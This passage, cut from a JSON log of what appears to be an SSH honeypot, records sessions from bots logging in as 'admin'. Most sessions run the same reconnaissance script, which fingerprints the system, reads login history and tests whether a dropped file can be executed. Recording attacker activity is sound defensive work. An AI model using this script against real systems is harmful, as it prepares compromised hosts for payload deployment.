); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:04:46.955799+00:00",
  "ended_at": "2026-08-20T14:04:47.103847+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "17c48794-260c-4bd4-8047-b9b05044c962",
  "name": "hushed-keen-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 52778,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:03:15.372210+00:00",
  "ended_at": "2026-08-20T14:03:15.539074+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c93fcb4e-15d5-4eb2-bb87-32a612b650ea",
  "name": "graceful-shaded-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 49848,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:01:45.487645+00:00",
  "ended_at": "2026-08-20T14:01:45.814784+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "46d28acb-a593-4f78-b274-913c7141d412",
  "name": "humble-bitter-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 46898,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:00:12.352056+00:00",
  "ended_at": "2026-08-20T14:00:12.442259+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "35e2d046-327a-4971-a148-20a32d31d2c1",
  "name": "dutiful-glacial-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 43956,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:58:41.531089+00:00",
  "ended_at": "2026-08-20T13:58:41.625586+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1a9b21a2-5aba-4f0c-8b8e-dedc36bced6c",
  "name": "lanky-honest-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 40992,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:57:10.691027+00:00",
  "ended_at": "2026-08-20T13:57:10.827348+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e489d008-aa15-4d23-9855-4a85aae34f01",
  "name": "salty-windswept-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35012,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:56:22.344582+00:00",
  "ended_at": "2026-08-20T13:56:23.172319+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "815bdf53-150c-4386-8f2d-ab9f3320618b",
  "name": "blunt-prickly-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 38044,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:55:36.998072+00:00",
  "ended_at": "2026-08-20T13:55:37.088629+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e15028d9-96a7-42a2-b404-4e5a243297d6",
  "name": "restless-marine-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 35110,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
